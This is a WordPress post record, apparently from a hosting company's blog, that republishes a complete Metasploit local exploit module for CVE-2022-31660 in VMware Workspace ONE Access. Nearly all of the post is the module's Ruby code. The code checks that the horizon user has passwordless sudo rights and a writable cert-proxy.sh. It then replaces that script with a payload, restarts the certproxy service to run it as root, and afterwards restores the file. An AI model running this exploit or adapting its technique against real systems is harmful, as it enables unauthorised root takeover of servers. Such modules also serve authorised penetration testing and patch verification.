{"id":28929,"date":"2022-08-04T19:38:54","date_gmt":"2022-08-04T15:38:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167973\/vmware_workspace_one_access_certproxy_lpe.rb.txt"},"modified":"2022-08-31T09:17:13","modified_gmt":"2022-08-31T04:47:13","slug":"vmware-workspace-one-access-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vmware-workspace-one-access-privilege-escalation\/","title":{"rendered":"VMware Workspace ONE Access Privilege Escalation"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Local<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::EXE<br \/>\ninclude Msf::Post::File<br \/>\ninclude Msf::Post::Unix<\/p>\n<p dir=\"ltr\">TARGET_FILE = &#8216;\/opt\/vmware\/certproxy\/bin\/cert-proxy.sh&#8217;.freeze<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n{<br \/>\n&#8216;Name&#8217; =&gt; &#8216;VMware Workspace ONE Access CVE-2022-31660&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges<br \/>\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which<br \/>\ninvokes it. The service control is permitted via the sudo configuration without a password.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Spencer McIntyre&#8217;<br \/>\n],<br \/>\n&#8216;Platform&#8217; =&gt; [ &#8216;linux&#8217;, &#8216;unix&#8217; ],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_CMD, ARCH_X86, ARCH_X64 ],<br \/>\n&#8216;SessionTypes&#8217; =&gt; [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[ &#8216;Automatic&#8217;, {} ],<br \/>\n],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PrependFork&#8217; =&gt; true,<br \/>\n&#8216;MeterpreterTryToFork&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;CVE&#8217;, &#8216;2022-31660&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.vmware.com\/security\/advisories\/VMSA-2022-0021.html&#8217; ]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-08-02&#8217;,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n# We&#8217;re corrupting the vmware-certproxy service, if restoring the contents fails it won&#8217;t work. This service<br \/>\n# is disabled by default though.<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SERVICE_DOWN],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK]\n}<br \/>\n}<br \/>\n)<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def certproxy_service<br \/>\n# this script&#8217;s location depends on the version, so find it.<br \/>\nreturn @certproxy_service if @certproxy_service<\/p>\n<p dir=\"ltr\">@certproxy_service = [<br \/>\n&#8216;\/usr\/local\/horizon\/scripts\/certproxyService.sh&#8217;,<br \/>\n&#8216;\/opt\/vmware\/certproxy\/bin\/certproxyService.sh&#8217;<br \/>\n].find { |path| file?(path) }<\/p>\n<p dir=\"ltr\">vprint_status(&#8220;Found service control script at: #{@certproxy_service}&#8221;) if @certproxy_service<br \/>\n@certproxy_service<br \/>\nend<\/p>\n<p dir=\"ltr\">def sudo(arguments)<br \/>\ncmd_exec(&#8220;sudo &#8211;non-interactive #{arguments}&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nunless whoami == &#8216;horizon&#8217;<br \/>\nreturn CheckCode::Safe(&#8216;Not running as the horizon user.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">token = Rex::Text.rand_text_alpha(10)<br \/>\nunless sudo(&#8220;&#8211;list &#8216;#{certproxy_service}&#8217; &amp;&amp; echo #{token}&#8221;).include?(token)<br \/>\nreturn CheckCode::Safe(&#8216;Cannot invoke the service control script with sudo.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">unless writable?(TARGET_FILE)<br \/>\nreturn CheckCode::Safe(&#8216;Cannot write to the service file.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Appears<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\n# backup the original permissions and contents<br \/>\nprint_status(&#8216;Backing up the original file&#8230;&#8217;)<br \/>\n@backup = {<br \/>\nstat: stat(TARGET_FILE),<br \/>\ncontents: read_file(TARGET_FILE)<br \/>\n}<\/p>\n<p dir=\"ltr\">if payload.arch.first == ARCH_CMD<br \/>\npayload_data = &#8220;#!\/bin\/bash\\n#{payload.encoded}&#8221;<br \/>\nelse<br \/>\npayload_data = generate_payload_exe<br \/>\nend<br \/>\nupload_and_chmodx(TARGET_FILE, payload_data)<br \/>\nprint_status(&#8216;Triggering the payload&#8230;&#8217;)<br \/>\nsudo(&#8220;&#8211;background #{certproxy_service} restart&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def cleanup<br \/>\nreturn unless @backup<\/p>\n<p dir=\"ltr\">print_status(&#8216;Restoring file contents&#8230;&#8217;)<br \/>\nfile_rm(TARGET_FILE) # it&#8217;s necessary to delete the running file before overwriting it<br \/>\nwrite_file(TARGET_FILE, @backup[:contents])<br \/>\nprint_status(&#8216;Restoring file permissions&#8230;&#8217;)<br \/>\nchmod(TARGET_FILE, @backup[:stat].mode &amp; 0o777)<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Unix TARGET_FILE = &#8216;\/opt\/vmware\/certproxy\/bin\/cert-proxy.sh&#8217;.freeze def initialize(info = {}) super( update_info( info, { &#8216;Name&#8217; =&gt; &#8216;VMware Workspace ONE Access CVE-2022-31660&#8217;, &#8216;Description&#8217; =&gt; %q{ VMware Workspace ONE Access contains a vulnerability whereby the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28929","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28929","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28929"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28929\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28929"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28929"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28929"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}